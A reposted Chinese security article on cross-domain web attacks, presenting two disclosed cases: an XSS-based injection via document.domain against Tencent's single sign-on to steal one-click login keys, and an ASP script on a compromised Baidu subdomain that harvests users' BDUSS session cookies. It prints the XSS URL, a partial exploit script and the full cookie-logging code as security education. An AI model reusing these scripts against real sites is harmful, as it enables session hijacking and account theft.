淺談跨域WEB攻擊

技術小美發表於2017-11-16

 EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-04-07

From: http://www.80sec.com

0×00 前言

一直想說說跨域web攻擊這一概念,先前積累了一些案例和經驗,所以想寫這麼一篇文件讓大家瞭解一下跨域web攻擊,跨域web攻擊指的是利用網站跨域安全設定缺陷進行的web攻擊,有別於傳統的攻擊,跨域web攻擊可以從網站某個不重要的業務直接攻擊和影響核心業務。

傳統的安全思維教會我們按資產、功能等需求劃分核心業務,優先保護核心業務等,非核心業務的安全等級一般沒有核心業務高,給我們錯覺是非核心業務受到攻擊的話,所造成損失不會很大,也不會影響到核心業務,所以讓安全工作者瞭解跨域web攻擊這一概念還是非常有意義的。

0×01 基於ajax跨域設定的跨域攻擊

使用ajax技術讓人頭痛的地方就是如何跨域,受同源策略所限不同域名包括子域名在內是無法進行AJAX請求的,隨後衍生出一類技術可以通過設定 document.domain實現跨域。如a.test.com和b.test.com,當兩個網站通過javascript操作DOM介面 document.domain=’test.com’ 將網站的域設定為test.com後,兩個網站就處於同一個域內,可以進行各種跨域操作。在開發人員方面這是很方便的跨域技術,但是在攻擊者眼中這簡直就 是一個大後門,黑客只需要找到*.test.com下任意一個XSS漏洞,在任意一個子域名裡的網頁都可以跨域攻擊a.test.com和 b.test.com。



ajax跨域設定另外一個重點是這種跨域設定還會影響到視窗引用關係的同源策略,如騰訊微博網站進行了document.domain=’qq.com’ 的跨域設定,我們可以針對騰訊微博做個實驗,在自己的騰訊微博http://t.qq.com/中發任意一個*.qq.com的網站的連結 (如:http://www.qq.com),在騰訊微博中開啟這個網站,然後在位址列內用javascrit偽協議執行如下的指令碼,你會發現騰訊微博所 在的網頁被注入了一個alert提示框:

javascript:window.opener.eval(`alert(/xss/)`);

最後得出結論,由於騰訊微博網站進行了跨域設定,所以*.qq.com下的任意一個和騰訊微博有視窗引用關係的網頁,都可以往騰訊微博跨域注入指令碼執行。

案例:騰訊單點登入系統跨域劫持漏洞

QQ的客戶端安裝了一個快速登入外掛,在客戶端已登入且QQ.exe在執行的狀態下,這個快速登入外掛可以自動生成一個和QQ號對應的金鑰,在IE 瀏覽器訪問QQ網站的各個應用時通過這個金鑰可以免密碼一鍵登入網站。我經過分析發現,這個快速登入外掛最大的安全措施是生成金鑰的關鍵函式設定了一個信 任域xui.ptlogin2.qq.com,也就是在xui.ptlogin2.qq.com的網頁中我們才可以使用這個外掛生成金鑰。快速登入外掛的 這個信任域安全措施本意是阻止其他非安全域的網頁呼叫這個外掛,而開發人員卻在xui.ptlogin2.qq.com的一個網頁寫入了 document.domain=’qq.com’的跨域設定,結果導致這個信任域形同虛設。通過QQ任意分站的一個XSS漏洞我們就能攻擊 xui.ptlogin2.qq.com,首先給分站的網頁進行跨域設定,然後通過框架頁嵌入xui.ptlogin2.qq.com的跨域設定頁,由於 兩個網頁都設定了同一個域,同源策略生效,那麼就可以跨域操作框架注入指令碼到xui.ptlogin2.qq.com的域內執行。部分攻擊程式碼如下:

http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>

xss.js的內容:

window.name =`......` // xui.ptlogin2.qq.com域內執行的攻擊指令碼省略

document.domain=`qq.com`; //跨域設定

function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id為crossQQdomain的框架中通過偽協議注入指令碼

document.write("<iframe id=`crossQQdomain` src=`http://xui.ptlogin2.qq.com/*.html` onload=exploit()></iframe>");

通過window.name內設定的是呼叫快速登入外掛攻擊指令碼程式碼,被攻擊者訪問了我們的跨站連結後,我們就可以獲取到QQ的一鍵登入金鑰,後果不可想象。

0×02 基於cookie安全的跨域攻擊

以前關於csrf的文件提過cookie的“同源策略”,實際上這個只是含糊的說明了cookie的domain欄位的作用。cookie的 domain欄位和瀏覽器約定俗成,如一般cookie的domain欄位被預設設定為www.test.com, 二級域名*.test.com下就無法訪問這個cookie,所以很多網站就將cookie的domain欄位設定為.test.com解決二級域名的 cookie讀取問題。

案例:第三方分站淪陷導致的百度cookie安全問題

在百度的passport登入以後,百度會給客戶端設定一個名為BDUSS的cookie值,這個值的domain欄位是.baidu.com,如下:

set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com

這個cookie是百度眾多的二級域名共享的身份認證cookie,在某個巧合下我發現了百度第三方網站 http://zhishang.baidu.com的漏洞,控制了zhishang.baidu.com的主機,這個網站的域名剛好屬於百度的子域名, 那麼服務端是可以收到BDUSS這個關鍵cookie的,由於主機是IIS,於是寫了個簡單的收集HTTP請求頭中cookie值的asp指令碼,部分攻擊 程式碼如下:

<%

Dim sp,i,rf

sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通過伺服器變數獲取HTTP請求頭中的COOKIE值

rf = Request.ServerVariables("HTTP_REFERER")

For i=0 to UBound(sp)

if instr(sp(i),"BDUSS")>0 then

txtfile=server.mappath("log.txt")

set fso = CreateObject("Scripting.FileSystemObject")

set MyFile = fso.opentextfile(txtfile,8,True,0)

MyFile.Writeline(date()&" "&time()& " "& rf)

MyFile.Writeline(sp(i)& Chr(13))

MyFile.Close

set fso = nothing

Response.cookies("BDUSS")="delete"

Response.cookies("BDUSS").Path="/"

Response.cookies("BDUSS").Expires=(now()-1)

Response.cookies("BDUSS").Domain = ".baidu.com"

end if

next

response.redirect "http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302轉跳到真實的圖片

%>

將http://zhishang.baidu.com/c.asp#.gif(#是url註釋)這樣的連結當成圖片釋出在百度貼吧、百度HI等的 帖子或日誌中,被攻擊者如果訪問了嵌入了類似圖片連結的網頁,瀏覽器將會向zhishang.baidu.com的指令碼發起一個GET請求,這個請求會帶 上BDUSS值的cookie,服務端的指令碼獲取這個cookie後,攻擊者就可以在另一方利用這個cookie偽造被攻擊者的身份使用百度相關的服務。

0×03 跨域web攻擊的思考

跨域web攻擊還有很多種,本文只提到了危害比較大的兩種,案例中所提到的漏洞也已經修復。本文沒有再提到這類攻擊的防禦措施,因為這類web攻擊 已經有別於傳統的單點攻擊,實際上國內外各大網站和web程式都存在類似的安全問題,這類安全問題不是一個單獨的個例,而是從網站架構開始就需要考慮的安 全問題。

本文的目的並不是交大家如何利用跨域web攻擊,而是希望大家通過這類安全問題思考更多,讓大家意識到現實的網路並沒有絕對的安全,我們面臨的web安全問題依然嚴峻,應用和安全是一個對立面,我們需要在應用和安全中間找到一個平衡點。

0×04 參考

騰訊單點登入系統跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118

百度認證機制問題分析與利用 http://www.wooyun.org/bugs/wooyun-2010-0253

本文轉hackfreer51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/538812,如需轉載請自行聯絡原作者


相關文章